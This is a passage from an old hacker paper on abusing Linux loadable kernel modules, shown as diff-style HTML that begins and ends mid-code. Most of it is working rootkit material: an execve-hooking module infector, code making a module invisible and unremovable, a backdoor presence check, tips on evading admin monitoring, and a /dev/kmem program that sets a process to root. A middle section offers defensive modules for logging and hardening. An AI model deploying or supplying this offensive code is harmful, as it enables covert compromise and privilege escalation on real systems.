+ return ret; +} + + +int init_module(void) /*module setup*/ +{ + __NR_myexecve = 250; + while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) + __NR_myexecve--; + orig_execve = sys_call_table[SYS_execve]; + if (__NR_myexecve != 0) + { + printk("<1>everything OK\n"); + sys_call_table[__NR_myexecve] = orig_execve; + sys_call_table[SYS_execve] = (void *) hacked_execve; + } + + /*we need some functions*/ + open = sys_call_table[__NR_open]; + close = sys_call_table[__NR_close]; + write = sys_call_table[__NR_write]; + read = sys_call_table[__NR_read]; + return 0; +} + +void cleanup_module(void) /*module shutdown*/ +{ + sys_call_table[SYS_execve]=orig_execve; +} + + +This is too easy to waste some words on it. Of course, this module does +not need kerneld for spreading (interesting for kernel without kerneld +support).
+I hope you got the idea on infecting any executable, this is a very strong +method of killing large systems. + +

8.2 How can a LKM virus help us to get in

+ +As you know virus coders are not hackers, so what about interesting features for +hackers. Think about this problem (only ten seconds), you should realize, that +a whole system could be yours by introducing a trojan (infected) LKM.
+Remember all the nice hacks we discussed till now.Even without trojans you could +hack a system with LKMs. Just use a local buffer overflow to load a LKM in your +home directoy. Believe me, it is easier to infect a system with a real good LKM +than doing the same stuff as root again and again. It's more elagent to let the +LKM make the work for you. Be CREATIVE... + +

9. Making our LKM invisible & unremovable

+ +Now it's time to start talking about the most important / interesting Hack I +will present. This idea comes from plaguez's LKM published in Phrack (other +people like Solar Designer discussed this before...).
+So far we are able to hide files, processes, directories, and whatever we +want. But we cannot hide our own LKM. Just load a LKM and take a look at +/proc/modules. There are many ways we can solve this problem. The first solution +could be a partial file hiding (see II.4.3). This would be easy to implement, +but there is a better more advanced and secure way. Using this technique you +must also intercept the sys_query_module(...) systemcall. An example of this +approach can be seen in A-b.
+As I explained in I.1 a module is finally loaded by issuing a init_module(...) +systemcall which will start the module's init function. init_module(...) gets +an argument : struct mod_routines *routines. This structure contains very +important information for loading the LKM. It is possible for us to manipulate +some data from this structure in a way our module will have no name and no +references. After this the system will no longer show our LKM in /proc/modules, +because it ignores LKMs with no name and a refernce count equal to 0. The +following lines show how to access the part of mod_routines, in order to hide +the module.
+ + +/*from Phrack & AFHRM*/ +int init_module() +{ + register struct module *mp asm("%ebp"); // or whatever register it is in + *(char*)mp->name=0; + mp->size=0; + mp->ref=0; + ... + + +This code trusts in the fact that gcc did not manipulate the ebp register +because we need it in order to find the right memory location. After finding +the structure we can set the structure's name and references members to 0 which +will make our module invisible and also unremovable, because you can only remove +LKMs which the kernel knows, but our module is unknow to the kernel.
+Remember that this trick only works if you use gcc in way it does not touch the +register you need to access for getting the structure.You must use the following +gcc options : + + +#gcc -c -O3 -fomit-frame-pointer module.c + + +fomit-frame-pointer says cc not to keep frame pointer in registers for functions +that don't need one. This keeps our register clean after the function call of +init_module(...), so that we can access the structure.
+In my opinion this is the most important trick, because it helps us to develope +hidden LKMs which are also unremovable. + +

10. Other ways of abusing the Kerneldaemon

+ +In II.8 you saw one way of abusing kerneld. It helped us to spread the LKM +infector. It could also be helpful for our LKM backdoor (see II.5.1). Imagine +the socketcall loading a module instead of starting our backdoor shellscript or +program. You could load a module adding an entry to passwd or inetd.conf. After +loading this second LKM you have many possibilities of changing systemfiles. +Again, be creative. + +

11. How to check for presents of our LKM

+ +We learned many ways a module can help us to subvert a system. So imagine you +code yourself a nice backdoor tool (or take an existing) which isn't implemented +in the LKM you use on that system; just something like pingd, WWW remote shell, +shell, .... How can you check after logging in on the system that your LKM is +still working? Imagine what would happen if you enter a session and the admin is +waiting for you without your LKM loaded (so no process hiding etc.). So you +start doing you job on that system (reading your own logs, checking some mail +traffic and so on) and every step is monitored by the admin. Well no good +situation, we must know that our LKM is working with a simple check.
+I suppose the following way is a good solution (although there may be many other +good ones): +
    +
  • implement a special systemcall in your module
    +
  • write a little user space program checking for that systemcall
    +
+Here is a module which implements our 'check systemcall' : + + +#define MODULE +#define __KERNEL__ + +#include <linux/module.h> +#include <linux/kernel.h> +#include <asm/unistd.h> +#include <sys/syscall.h> +#include <sys/types.h> +#include <asm/fcntl.h> +#include <asm/errno.h> +#include <linux/types.h> +#include <linux/dirent.h> +#include <sys/mman.h> +#include <linux/string.h> +#include <linux/fs.h> +#include <linux/malloc.h> + +#define SYS_CHECK 200 + +extern void* sys_call_table[]; + + +int sys_check() +{ + return 666; +} + +int init_module(void) /*module setup*/ +{ + sys_call_table[SYS_CHECK]=sys_check; + return 0; +} + +void cleanup_module(void) /*module shutdown*/ +{} + + +If you issue a systemcall with the number 200 in eax we should get a return of +666. So here is our user space program checking for this : + + +#include <linux/errno.h> +#include <sys/syscall.h> +#include <errno.h> + +extern void *sys_call_table[]; + +int check() +{ + __asm__("movl $200,%eax + int $0x80"); +} + +main() +{ + int ret; + ret = check(); + if (ret!=666) + printf("Our module is *not* present !!\n"); + else + printf("Our module is present, continue...\n"); +} + + + +In my opinion this is one of the easiest ways to check for presents of our LKM, +just try it. + + + +

III. Soltutions (for admins)

+
+

+ + +

1. LKM Detector Theory & Ideas

+ +I think it is time to help admins securing their system from hostile LKMs.
+Before explaining some theories remember the following for a secure system :
+
    +
  • never install any LKMs you don't have the sources for (of course, this is + also relevant for normal executables)
    +
  • if you have the sources, check them (if you can). Remember the tcpd trojan + problem. Large software packets are mostly quite complex to understand, but + if you need a very secure system you should analyse the source code.
    +
+Even if you follow those tips it could be possible that an intruder activates an +LKM on your system (overflows etc.).
+So what about a LKM logging every module loaded, and denying every load attempt +from a directory different from a secure one (to avoid simple overflows; that's no +perfect way...). The logging can be easily done by intercepting the +create_module(...) systemcall. The same way you could check for the directory +the loaded module comes from.
+It would also be possible to deny any module loading, but this is a very bad way, +because you really need them. So what about modifying module loading in a way +you can supply a password, which will be checked in your intercepted +create_module(...). If the password is correct the module will be loaded, if not +it will be dropped.
+It should be clear that you have to hide your LKM to make it unremovable. So +let's take a look at some prototype implemantations of the logging LKM and the +password protected create_module(...) systemcall.
+ +

1.1 Practical Example of a prototype Detector

+ +Nothing to say about that simple implementation, just intercept +sys_create_module(...) and log the names of modules which were loaded. + + + +#define MODULE +#define __KERNEL__ + +#include <linux/module.h> +#include <linux/kernel.h> +#include <asm/unistd.h> +#include <sys/syscall.h> +#include <sys/types.h> +#include <asm/fcntl.h> +#include <asm/errno.h> +#include <linux/types.h> +#include <linux/dirent.h> +#include <sys/mman.h> +#include <linux/string.h> +#include <linux/fs.h> +#include <linux/malloc.h> + +extern void* sys_call_table[]; + + +int (*orig_create_module)(char*, unsigned long); + + +int hacked_create_module(char *name, unsigned long size) +{ + char *kernel_name; + char hide[]="ourtool"; + int ret; + + kernel_name = (char*) kmalloc(256, GFP_KERNEL); + memcpy_fromfs(kernel_name, name, 255); + + /*here we log to syslog, but you can log where you want*/ + printk("<1> SYS_CREATE_MODULE : %s\n", kernel_name); + + ret=orig_create_module(name, size); + return ret; +} + + +int init_module(void) /*module setup*/ +{ + orig_create_module=sys_call_table[SYS_create_module]; + sys_call_table[SYS_create_module]=hacked_create_module; + return 0; +} + +void cleanup_module(void) /*module shutdown*/ +{ + sys_call_table[SYS_create_module]=orig_create_module; +} + + + +This is all you need, of course you should add the lines required for hiding the +module, but this is no problem. After making it unremovable this way, a hacker +can only modify the log file, but you could also save your logs, to a file +unaccessible for the hacker (see II.1 for required tricks). +Of course you can also intercept sys_init_module(...)which would also show every +module, that's just a matter of taste. + + +

1.2 Practical Example of a prototype password protected create_module(...)

+ + +This subsection will deal with the possibility to add authentication to module +loading. We need two things to manage this task : +
    +
  • a way to check module loading (easy)
    +
  • a way to authenticate (quite difficult)
    +
+The first point is very easy to code, just intercept sys_create_module(...) and +check some variable, which tells the kernel wether this load process is legal. +But how to do authentication. I must admit that I did not spend many seconds on +thinking about this problem, so the solution is more than bad, but this is a LKM +article, so use your brain, and create something better. My way to do it, was +to intercept the stat(...) systemcall, which is used if you type any command,and +the system needs to search it. So just type a password as command and the LKM +will check it in the intercepted stat call [I know this is more than insecure; +even a Linux starter would be able to defeat this authentication scheme, but +(again) this is not the point here...]. Take a look at my implemtation (I ripped +lots of from existing LKMs like the one by plaguez...):
+ + +#define MODULE +#define __KERNEL__ + +#include <linux/module.h> +#include <linux/kernel.h> +#include <asm/unistd.h> +#include <sys/syscall.h> +#include <sys/types.h> +#include <asm/fcntl.h> +#include <asm/errno.h> +#include <linux/types.h> +#include <linux/dirent.h> +#include <sys/mman.h> +#include <linux/string.h> +#include <linux/fs.h> +#include <linux/malloc.h> +#include <sys/stat.h> + + +extern void* sys_call_table[]; + +/*if lock_mod=1 THEN ALLOW LOADING A MODULE*/ +int lock_mod=0; + +int __NR_myexecve; + +/*intercept create_module(...) and stat(...) systemcalls*/ +int (*orig_create_module)(char*, unsigned long); +int (*orig_stat) (const char *, struct old_stat*); + +char *strncpy_fromfs(char *dest, const char *src, int n) +{ + char *tmp = src; + int compt = 0; + + do { + dest[compt++] = __get_user(tmp++, 1); + } + while ((dest[compt - 1] != '\0') && (compt != n)); + + return dest; +} + +int hacked_stat(const char *filename, struct old_stat *buf) +{ + char *name; + int ret; + char *password = "password"; /*yeah, a great password*/ + + name = (char *) kmalloc(255, GFP_KERNEL); + + (void) strncpy_fromfs(name, filename, 255); + + /*do we have our password ?*/ + if (strstr(name, password)!=NULL) + { + /*allow loading a module for one time*/ + lock_mod=1; + kfree(name); + return 0; + } + else + { + kfree(name); + ret = orig_stat(filename, buf); + } + return ret; +} + +int hacked_create_module(char *name, unsigned long size) +{ + char *kernel_name; + char hide[]="ourtool"; + int ret; + + if (lock_mod==1) + { + lock_mod=0; + ret=orig_create_module(name, size); + return ret; + } + else + { + printk("<1>MOD-POL : Permission denied !\n"); + return 0; + } + return ret; +} + + +int init_module(void) /*module setup*/ +{ + __NR_myexecve = 200; + + while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) + __NR_myexecve--; + + sys_call_table[__NR_myexecve]=sys_call_table[SYS_execve]; + + orig_stat=sys_call_table[SYS_prev_stat]; + sys_call_table[SYS_prev_stat]=hacked_stat; + + orig_create_module=sys_call_table[SYS_create_module]; + sys_call_table[SYS_create_module]=hacked_create_module; + + printk("<1>MOD-POL LOADED...\n"); + return 0; +} + +void cleanup_module(void) /*module shutdown*/ +{ + sys_call_table[SYS_prev_stat]=orig_stat; + sys_call_table[SYS_create_module]=orig_create_module; +} + + +This code should be clear. The following list tells you what to improve in this +LKM in order to make it more secure, perhaps a bit too paranoid :) : +
    +
  • find another way to authenticate (use your own user space interface, with your + own systemcalls; use userID (not just a plain password); perhaps you have a + biometric device -> read documentation and code your device driver for Linux + and use it ;) ...) BUT REMEMBER: the most secure hardware protection (dongles, + biometric, smartcard systems can often be defeated because of a very insecure + software interface;. You could secure your whole system with a mechanism like + that. Control your whole kernel with a smartcard :)
    + Another not so 'extreme' way would be to implement your own systemcall which is + responsible for authentication. (see II.11 for an example of creating your + own systemcall).
    +
  • find a better way to check in sys_create_module(...). Checking a variable is + not very secure, if someone rooted your system he could patch the memory (see + the next part)
    +
  • find a way to make it impossible for an attacker to use your authentication + for insmod'ing his LKM
    +
  • add hiding features
    +
  • ...
    +
+ +You can see, there is some work to do. But even with those steps, your system +cannot be totally secure.If someone rooted the system he could find other tricks +to load his LKM (see next part); perhaps he even does not need a LKM, because he +only rooted thesystem, and don't want to hide files / processeses (and the other +wonderfull things possible with LKMs). + +

2. Anti-LKM-Infector ideas

+
  • memory resident (realtime) scanner (like TSR virus scanner in DOS;or VxD + scanner virus in WIN9x)
    +
  • file checking scanner (checking module files for signs of an infection)
    + +The first method is possible through intercepting sys_create_module (or the +init_module call). The second approach needs something characteristic which you +may find in any infected file. We know that the LKM infector appends two module +files. So we could check for two ELF headers / signatures. Of course, any other +LKM infector could use a improved method (encryption, selfmodifying code etc.). +I won't present a file checking scanner, because you just have to write a little +(user space) programm that reads in the module, and checks for twe ELF headers +(the 'ELF' string, for example). + +

    3. Make your programs untraceable (theory)

    + +Now it's time to beat hackers snooping our executables. As I said before strace +is the tool of our choice. I presented it as a tool helping us to see which +systemcalls are used in certain programs. Another very interesting use of strace +is outlined in the paper 'Human to Unix Hacker' by TICK/THC. He shows us how to +use strace for TTY hijacking. Just strace your neighbours shell,and you will get +every input he makes. So you admins should realize the danger of strace. The +program strace uses the following API function :
    + + +#include <sys/ptrace.h> + +int ptrace(int request, int pid, int addr, int data); + + +Well how can we control strace? Don't be silly and remove strace from your +system, and think everything is ok - as I show you ptrace(...) is a library +function. Every hacker can code his own program doing the same as strace. So +we need a better more secure solution. Your first idea could be to search for +an interesting systemcall that could be responsible for the tracing; There is +a systemcall doing that; but let's look at another approach before.
    +Remember II.5.1 : I talked about the task flags. There were two flags which +stand for traced processes. This is the way we can control the tracing on our +system. Just intercept the sys_execve(...) systemcall and check the current +process for one of the two flags set.
    + +

    3.1 Practical Example of a prototype Anti-Tracer

    + +This is my little LKM called 'Anti-Tracer'. It basicly implements the ideas from +4. The flags field from our process can easily be retrieved using the current +pointer (task structure). The rest is nothing new. + + +#define MODULE +#define __KERNEL__ + +#include <linux/module.h> +#include <linux/kernel.h> +#include <asm/unistd.h> +#include <sys/syscall.h> +#include <sys/types.h> +#include <asm/fcntl.h> +#include <asm/errno.h> +#include <linux/types.h> +#include <linux/dirent.h> +#include <sys/mman.h> +#include <linux/string.h> +#include <linux/fs.h> +#include <linux/malloc.h> + +extern void* sys_call_table[]; + +int __NR_myexecve; + +int (*orig_execve) (const char *, const char *[], const char *[]); + +char *strncpy_fromfs(char *dest, const char *src, int n) +{ + char *tmp = src; + int compt = 0; + + do { + dest[compt++] = __get_user(tmp++, 1); + } + while ((dest[compt - 1] != '\0') && (compt != n)); + return dest; +} + +int my_execve(const char *filename, const char *argv[], const char *envp[]) +{ + long __res; + __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) + (filename)), "c"((long) (argv)), "d"((long) (envp))); + return (int) __res; +} + + +int hacked_execve(const char *filename, const char *argv[], const char *envp[]) +{ + int ret, tmp; + unsigned long mmm; + char *kfilename; + + /*check for the flags*/ + if ((current->flags & PF_PTRACED)||(current->flags & PF_TRACESYS)) { + /*we are traced, so print the traced process (program name) and return + without execution*/ + kfilename = (char *) kmalloc(256, GFP_KERNEL); + (void) strncpy_fromfs(kfilename, filename, 255); + printk("<1>TRACE ATTEMPT ON %s -> PERMISSION DENIED\n", kfilename); + kfree(kfilename); + return 0; + } + ret = my_execve(filename, argv, envp); + return ret; +} + +int init_module(void) /*module setup*/ +{ + __NR_myexecve = 200; + while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) + __NR_myexecve--; + orig_execve = sys_call_table[SYS_execve]; + if (__NR_myexecve != 0) + { + sys_call_table[__NR_myexecve] = orig_execve; + sys_call_table[SYS_execve] = (void *) hacked_execve; + } + return 0; +} + +void cleanup_module(void) /*module shutdown*/ +{ + sys_call_table[SYS_execve]=orig_execve; +} +<xmp> + +This LKM also logs any executable someone wanted to execute with tracing. Well +this LKM checks for some flags, but what if you start tracing a program which +is already running. Just imagine a program (shell or whatever) running with the +PID 1853, now you do a 'strace -p 1853'. This will work. So for securing this +hooking sys_ptrace(...) is the only way. Look at the following module : + +<xmp> +#define MODULE +#define __KERNEL__ + +#include <linux/module.h> +#include <linux/kernel.h> +#include <asm/unistd.h> +#include <sys/syscall.h> +#include <sys/types.h> +#include <asm/fcntl.h> +#include <asm/errno.h> +#include <linux/types.h> +#include <linux/dirent.h> +#include <sys/mman.h> +#include <linux/string.h> +#include <linux/fs.h> +#include <linux/malloc.h> + +extern void* sys_call_table[]; + + +int (*orig_ptrace)(long request, long pid, long addr, long data); + +int hacked_ptrace(long request, long pid, long addr, long data) +{ + printk("TRACING IS NOT ALLOWED\n"); + return 0; +} + + +int init_module(void) /*module setup*/ +{ + orig_ptrace=sys_call_table[SYS_ptrace]; + sys_call_table[SYS_ptrace]=hacked_ptrace; + return 0; +} + +void cleanup_module(void) /*module shutdown*/ +{ + sys_call_table[SYS_ptrace]=orig_ptrace; +} +<xmp> + +Use this LKM and no one will be able to trace anymore. + + +<H3><A NAME="III.4."></A>5. Hardening the Linux Kernel with LKMs</h3> + +This section subject may sound familiar to Phrack readers. Route introduced nice +ideas for making the Linux system more secure. He used some patches. I want to +show that some ideas can also be implemented by LKMs. Remember that without +hiding those LKMs it is also <i>useful</i> (of course hiding is something you should +do), because route's patches are also worthless if someone rooted the system; +and a non-priviledged user can <i>not</i> remove our LKM, but he can see it. +The advantage of using LKMs instead of a static kernel patch : you can easily +manage the whole system security, and install it more easily on running system. +It's not necessary to install a new kernel on sensitive system you need every +second.<br> +The Phrack patches also added some logging feature's which I did not implement +but there are thousand ways to do it.The simpelst way would be using printk(...) +[Note : I did not look at every aspect of route's patches. Perhaps real good +kernel hackers would be able to do more with LKMs.] + + +<H4><A NAME="III.4.1."></A>4.1 Why should we allow arbitrary programs execution rights? </h4> + +The following LKM is something like route's kernel patch that checks for +execution rights : + +<xmp> +#define __KERNEL__ +#define MODULE + + +#include <linux/version.h> +#include <linux/mm.h> +#include <linux/unistd.h> +#include <linux/fs.h> +#include <linux/types.h> +#include <asm/errno.h> +#include <asm/string.h> +#include <linux/fcntl.h> +#include <sys/syscall.h> +#include <linux/module.h> +#include <linux/malloc.h> +#include <linux/kernel.h> +#include <linux/kerneld.h> + +/* where the sys_calls are */ + +int __NR_myexecve = 0; + +extern void *sys_call_table[]; + +int (*orig_execve) (const char *, const char *[], const char *[]); + +int (*open)(char *, int, int); +int (*close)(int); + + +char *strncpy_fromfs(char *dest, const char *src, int n) +{ + char *tmp = src; + int compt = 0; + + do { + dest[compt++] = __get_user(tmp++, 1); + } + while ((dest[compt - 1] != '\0') && (compt != n)); + return dest; +} + +int my_execve(const char *filename, const char *argv[], const char *envp[]) +{ + long __res; + __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) + (filename)), "c"((long) (argv)), "d"((long) (envp))); + return (int) __res; +} + +int hacked_execve(const char *filename, const char *argv[], const char *envp[]) +{ + int fd = 0, ret; + struct file *file; + + /*we need the inode strucure*/ + /*I use the open approach here, because you should understand it from the LKM + infector, read on for seeing a better approach*/ + fd = open(filename, O_RDONLY, 0); + + file = current->files->fd[fd]; + + /*is this a root file ?*/ + /*Remember : you can do other checks here (route did more checks), but this + is just for demonstration. Take a look at the inode structur to + see other items to heck for (linux/fs.h)*/ + if (file->f_inode->i_uid!=0) + { + printk("<1>Execution denied !\n"); + close(fd); + return -1; + } + else /*otherwise let the user execute the file*/ + { + ret = my_execve(filename, argv, envp); + return ret; + } +} + +int init_module(void) /*module setup*/ +{ + printk("<1>INIT \n"); + __NR_myexecve = 250; + while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) + __NR_myexecve--; + orig_execve = sys_call_table[SYS_execve]; + if (__NR_myexecve != 0) + { + printk("<1>everything OK\n"); + sys_call_table[__NR_myexecve] = orig_execve; + sys_call_table[SYS_execve] = (void *) hacked_execve; + } + + open = sys_call_table[__NR_open]; + close = sys_call_table[__NR_close]; + return 0; +} + +void cleanup_module(void) /*module shutdown*/ +{ + sys_call_table[SYS_execve]=orig_execve; +} + + +This is not exactly the same as route's kernel patch. route checked the path +we check the file (a path check would also be possible, but in my opinion a +file check is also the better way). I only implemented a check for UID of the +file, so an admin can filter the file execution process. As I said the open / +fd approach I used above is not the easiest way; I took it because it should be +familiar to you (remember, the LKM infector used this method). For our purpose +the following kernel function is also possible (easier way) : + + +int namei(const char *pathname, struct inode **res_inode); + +int lnamei(const char *pathname, struct inode **res_inode); + + +Those functions take a certain pathname and return the corresponding inode +structure. The difference between the functions above lies in the symlink +resolving : lnamei does not resolve a symlink and returns the inode structure +for the symlink itself. As a hacker you could also modify inodes. Just retrieve +them by hooking sys_execve(...) and using namei(...) (the way we use also for +execution control) and manipulate the inode (I will show a practical example +of this idea in 5.3). + +

    4.2 The Link Patch

    + +Every Linux user knows that symlink bugs are something which often leads to +serious problems if it comes to system security. Andrew Tridgell developed a +kernel patch which prevents a process from 'following a link which is in a +t +(mostly /tmp/) directory unless they own the link'. Solar Designer added some +code which also prevents users from creating hard links in a +t directory to +files they don't own.
    +I have to admit that the symlink patch lies on a layer we can't easily reach +from our LKM psotion. There are neither exported symbols we could patch nor any +systemcalls we could intercept. The symlink resolving is done by the VFS. Take +a look at part IV for methods which could help us to solve this problem (but I +would not use the methods from IV to secure a system). You may wonder why I +don't use the sys_readlink(...) systemcall for solving the problem. Well this +call is used if you do a 'ls -a symlink' but it is not called if you issue a +'cat symlink'.
    +In my opinion you should leave this as a kernel patch. Of course you can code +a LKM which intercepts the sys_symlink(...) systemcall in order to prevent a +user from creating symlinks in the /tmp directory. Look at the hard link LKM +for a similar implementation.
    +Ok, the symlink problem was a bit hard to transform it to a LKM. How about Solar +Designer's idea concerning hard link restrictions. This can be done as LKM. We +only need to intercept sys_link(...) which is responsible for creating any hard +links.Let's take a look at hacked systemcall (the code fragment does not exactly +the same as the kernel patch, because we only check for the '/tmp/' directory, +not for the sticky bit(+t),but this can also be done with looking at the inode +structure of the directoy [see 5.1]) : + + +int hacked_link(const char *oldname, const char *newname) +{ + char *kernel_newname; + int fd = 0, ret; + struct file *file; + + kernel_newname = (char*) kmalloc(256, GFP_KERNEL); + memcpy_fromfs(kernel_newname, newname, 255); + + /*hard link to /tmp/ directory ?*/ + if (strstr(kernel_newname, (char*)&hide ) != NULL) + { + kfree(kernel_newname); + + /*I use the open approach again :)*/ + fd = open(oldname, O_RDONLY, 0); + + file = current->files->fd[fd]; + + /*check for UID*/ + if (file->f_inode->i_uid!=current->uid) + { + printk("<1>Hard Link Creation denied !\n"); + close(fd); + return -1; + } + } + else + { + kfree(kernel_newname); + /*everything ok -> the user is allowed to create the hard link*/ + return orig_link(oldname, newname); + } +} + +This way you could also control the symlink creation. + +

    4.3 The /proc permission patch

    + +I already showed you some ways how to hide some process information.route's idea +is different to our hide approach. He wants to limit the /proc/ access (needed +for access to process information) by changing the directory permissions. So +he patched the proc inode. The following LKM will do exactly the same without a +static kernel patch. If you load it a user will not be allowed to read the proc +fs, if you unload it he will be able to. Here we go : + + +/*very bad programming style (perhaps we should use a function for the + indode retrieving), but it works...*/ +#define __KERNEL__ +#define MODULE +#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds()); +#define END_KMEM set_fs(old_fs);} + +#include <linux/version.h> +#include <linux/mm.h> +#include <linux/unistd.h> +#include <linux/fs.h> +#include <linux/types.h> +#include <asm/errno.h> +#include <asm/string.h> +#include <linux/fcntl.h> +#include <sys/syscall.h> +#include <linux/module.h> +#include <linux/malloc.h> +#include <linux/kernel.h> +#include <linux/kerneld.h> + +extern void *sys_call_table[]; + +int (*open)(char *, int, int); +int (*close)(int); + + +int init_module(void) /*module setup*/ +{ + int fd = 0; + struct file *file; + struct inode *ino; + + /*again the open(...) way*/ + open = sys_call_table[SYS_open]; + close = sys_call_table[SYS_close]; + + /*we have to supplie some kernel space data for the systemcall*/ + BEGIN_KMEM + fd = open("/proc", O_RDONLY, 0); + END_KMEM + printk("%d\n", fd); + file = current->files->fd[fd]; + + /*here's the inode for the proc directory*/ + ino= file->f_inode; + + /*modify permissions*/ + ino->i_mode=S_IFDIR | S_IRUSR | S_IXUSR; + + close(fd); + return 0; +} + +void cleanup_module(void) /*module shutdown*/ +{ + int fd = 0; + struct file *file; + struct inode *ino; + + BEGIN_KMEM + fd = open("/proc", O_RDONLY, 0); + END_KMEM + printk("%d\n", fd); + file = current->files->fd[fd]; + + /*here's the inode for the proc directory*/ + ino= file->f_inode; + + /*modify permissions*/ + ino->i_mode=S_IFDIR | S_IRUGO | S_IXUGO; + + close(fd); +} + + +Just load this module and try a ps, top or whatever, it won't work. Every access +to the /proc directory is totally denied. Of course, as root you are still +allowed to view every process and anything else; this is just a permission patch +in order to keep your users silly.
    +[Note : This is a practical implementation of modifying inodes 'on the fly' you + should see many possibilities how to abuse this.] + +

    4.4 The securelevel patch

    + + +The purpose of this patch : I quote route +
    +"This patch isn't really much of a patch. It simply bumps the securelevel +up, to 1 from 0. This freezes the immutable and append-only bits on files, +keeping anyone from changing them (from the normal chattr interface). Before +turning this on, you should of course make certain key files immutable, and +logfiles append-only. It is still possible to open the raw disk device, +however. Your average cut and paste hacker will probably not know how to do +this." +
    +Ok this one is really easy to implement as a LKM. We are lucky because the symbol +responsible for the securelevel is public (see /proc/ksyms) so we can easily +change it. I won't present an example for this bit of code, just import secure +level and set it in the module's init function. + +

    4.5 The rawdisk patch

    + +I developed an easy way to avoid tools like THC's manipate-data.
    +Those tools are used by hackers to search the hard disk for their origin IP address or DNS name. +After finding it they modify or remove the entry from the hard disk. For doing +all this they need access to the /dev/* files for opening the rawdisk. Of course +they can only do this after rooting the system. So what can we do about this. I +found that the following way helps to prevent those attacks [of course there are +again thousand ways to defeat that protection :(] : +
      +
    • boot your system
      +
    • install a LKM which prevents direct (dev/*) access to your partition you save + your logs
      +
    + +This works because the system (normally) only needs direct access to the rawdisk +during the some (seldom) operationes. The LKM just intercepts sys_open(...) and +filter for the needed dev-file. I think it's not necessary to show how to code +it, take a look at II.4.2). This way you can protect any /dev/* file. The +problem is that this way nobody can access them directly while the LKM is +loaded.
    +[Note : There are some functions which will not work / crash the system, but +a normal web-, or mailserver should work with this patch.] + + + + +

    IV. Some Better Ideas (for hackers)

    +
    +

    + + + +

    1. Tricks to beat admin LKMs

    + +This part will give us some notes on playing with the kernel on systems where +you have a paranoid (good) admin. After explaining all the ways admins can +protect a system, it is very hard to find better ways for us (hackers).
    +We need to leave the LKM field for some seconds in order to beat those hard +protections.
    +Imagine a system where an admin has installed a very good and big monitor LKM +which checks every action on that system. It can do everything mentioned in part +II and III.
    +The first way to get rid of this LKM is trying to reboot the system, perhaps the +admin did not load this LKM from an init file. So try some DoS Attacks or +whatever works. If you still cannot kill this LKM try to look at some important +files, but be careful, some files may be protected / monitored (see appendix A +for such a LKM).
    +If you really cannot see where the LKM is loaded etc., forget the system +or risk installing a backdoor, which you cannot hide (process/file). But if an +admin really uses such a 'mega' LKM, forget the system, he might really be good +and you may get some trouble. For those who even want to beat that system read +section 2. + +

    2. Patching the whole kernel - or creating the Hacker-OS

    + +[Note : This section may sound a bit off topic, but in the end I'll present a +nice idea (program that was developed by Silvio Cesare which will also help us +using our LKMs. This section will only give a summary of the whole kmem problem +due to the fact that we only need to focus on the idea by Silvio Cesare.]
    +Ok LKM's are nice. But what if the admin is like the one described in 1. He does +everything in order to prevent us from using our nice LKM techniques from part +II. He even patched his own kernel, to make his system secure. He uses a kernel +without native LKM support.
    +So now it's time to make our last step : Runtime Kernel Patching. The basic +ideas in this section come from some sources I found (kmemthief etc) and a paper +by Silvio Cesare which describes a general approach to modifying kernel symbols. +In my opinion this kind of attack is one of the strongest concerning 'kernel +hacking'. I don't undersand every Un*x kernel out there, but this approac can +help you on many systems. This section describes Runtime Kernel Patching, but +what about kernelfile patching. Every system has a file which represents the +plain kernel. On free systems like FreeBSD, Linux, ... it is easy to patch a +kernel file, but what about the commercial ones ? I never tried it, but I think +this would really be interesting : Imagine backdoor'ing a system thru a kernel +patch. You only have to do a reboot or wait for one (every system must reboot +sometimes :). But this text will only deal with the runtime approach. You may +say that this paper is called 'Abusing Linux Loadable Kernel Modules' and you +don't want to know how to patch the whole Linux kernel. Well this section will +help us to 'insmod' LKMs on systems which are very secure and have no LKM +support in their kernel. So we learn something which will help us with our LKM +abusing.
    +So let's start with the most important thing we have to deal with if we want to +do RKP(Runtime Kernel Patching).It's the file /dev/kmem,which makes it possible +for us to take a look (and modify) the complete virtual memory of our target +system. [Note : Remember that the RKP approach is in most cases only useful, if +you rooted a system. Only very unsecure systems will give normal users access to +that file].
    +As I said before /dev/kmem gives us the chance to see every memory byte of our +system (plus swap). This means we can also access the whole memory which allows +us to manipulate any kernel item in the memory (because the kernel is only some +objectcode loaded into system memory). Remember the /proc/ksyms file which shows +us every address of an exported kernel symbol. So we know where to modify memory +in order to manipulate some kernel symbols. Let's take a look at a very basic +example which is know for a very long time. The following (user space) program +takes the task_structure address (look for kstat in /proc/ksyms) and a certain +PID. After seacxhing the task structure that stands for the specified PID it +modifies every user id field in order to make this process UID=0. Of course +today this program is nearly of no use, because most systems don't even allow +a normal user to read /dev/kmem but it is a good introduction into RKP. + + +/*Attention : I implemented no error checking!*/ +#include <stdio.h> +#include <stdlib.h> +#include <unistd.h> +#include <fcntl.h> + +/*max. number of task structures to iterate*/ +#define NR_TASKS 512 + +/*our task_struct -> I only use the parts we need*/ +struct task_struct { + char a[108]; /*stuff we don't need*/ + int pid; + char b[168]; /*stuff we don't need*/ + unsigned short uid,euid,suid,fsuid; + unsigned short gid,egid,sgid,fsgid; + char c[700]; /*stuff we don't need*/ +}; + + +/*here's the original task_structure, to show you what else you can modify +struct task_struct { + volatile long state; + long counter; + long priority; + unsigned long signal; + unsigned long blocked; + unsigned long flags; + int errno; + long debugreg[8]; + struct exec_domain *exec_domain; + struct linux_binfmt *binfmt; + struct task_struct *next_task, *prev_task; + struct task_struct *next_run, *prev_run; + unsigned long saved_kernel_stack; + unsigned long kernel_stack_page; + int exit_code, exit_signal; + unsigned long personality; + int dumpable:1; + int did_exec:1; + int pid; + int pgrp; + int tty_old_pgrp; + int session; + int leader; + int groups[NGROUPS]; + struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr; + struct wait_queue *wait_chldexit; + unsigned short uid,euid,suid,fsuid; + unsigned short gid,egid,sgid,fsgid; + unsigned long timeout, policy, rt_priority; + unsigned long it_real_value, it_prof_value, it_virt_value; + unsigned long it_real_incr, it_prof_incr, it_virt_incr; + struct timer_list real_timer; + long utime, stime, cutime, cstime, start_time; + unsigned long min_flt, 